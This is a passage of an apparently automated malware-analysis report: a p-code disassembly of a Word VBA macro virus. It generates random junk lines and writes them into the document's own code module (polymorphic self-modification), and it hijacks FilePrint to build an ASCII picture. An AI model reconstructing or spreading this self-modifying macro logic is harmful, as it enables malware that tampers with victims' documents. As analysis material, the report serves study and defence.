' Concat
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0003 " = "
' Concat
' Ld Rnd
' LitDI2 0x002D
' Mul
' FnInt
' Coerce (Str)
' Concat
' LitStr 0x0005 "Then "
' Concat
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0003 " = "
' Concat
' Ld Rnd
' LitDI2 0x002D
' Mul
' FnInt
' Coerce (Str)
' Concat
' St Fake
' Line #61:
' LitDI2 0x000A
' Case
' CaseDone
' Line #62:
' LitStr 0x0002 "Do"
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0007 "Exit Do"
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0004 "Loop"
' Concat
' St Fake
' Line #63:
' EndSelect
' Line #64:
' Ld Rnd
' LitStr 0x0005 "Relax"
' Ld ThisDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' Mul
' LitDI2 0x0003
' Sub
' FnInt
' LitDI2 0x0001
' Add
' Ld Fake
' LitStr 0x0005 "Relax"
' Ld ThisDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' ArgsMemCall InsertLines 0x0002
' Line #65:
' EndIfBlock
' Line #66:
' EndSub
' Line #67:
' FuncDefn (Sub FilePrint())
' Line #68:
' OnError (Resume Next)
' Line #69:
' QuoteRem 0x0000 0x0037 "Note that the pic is from Progenic Warfare [P®W] © 1998"
' Line #70:
' LitStr 0x0026 " 8888 8888888"
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' St Sweety
' Line #71:
' Ld Sweety
' LitStr 0x002F " 8888:::8888888888888888888888888"
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' St Sweety
' Line #72:
' Ld Sweety
' LitStr 0x0034 " 8888::::::8888888888888888888888888888 "
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' St Sweety
' Line #73:
' Ld Sweety
' LitStr 0x0035 " 88::::::::888:::8888888888888888888888888"
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' St Sweety
' Line #74:
' Ld Sweety
' LitStr 0x0036 " 88888888::::8:::::::::::88888888888888888888"
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' St Sweety
' Line #75:
' Ld Sweety
' LitStr 0x0038 " 888 8::888888::::::::::::::::::88888888888 888"
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' St Sweety
' Line #76:
' Ld Sweety
' LitStr 0x0038 " 88::::88888888::::m::::::::::88888888888 8"
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' St Sweety
' Line #77:
' Ld Sweety
' LitStr 0x0035 " 888888888888888888:M:::::::::::8888888888888"
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' St Sweety
' Line #78:
' Ld Sweety
' LitStr 0x0037 " 88888888888888888888::::::::::::M88888888888888"
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' St Sweety
' Line #79:
' Ld Sweety
' LitStr 0x0038 " 8888888888888888888888:::::::::M8888888888888888"
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' St Sweety
' Line #80:
' Ld Sweety
' LitStr 0x0039 " 8888888888888888888888:::::::M888888888888888888"
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' St Sweety
' Line #81:
' Ld Sweety
' LitStr 0x003A " 8888888888888888::88888::::::M88888888888888888888"
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' St Sweety
' Line #82:
' Ld Sweety
' LitStr 0x003B " 88888888888888888:::88888:::::M888888888888888 8888"
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' St Sweety
' Line #83:
' Ld Sweety
' LitStr 0x003B " 88888888888888888:::88888::::M::;o*M*o;888888888 88"
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' St Sweety
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.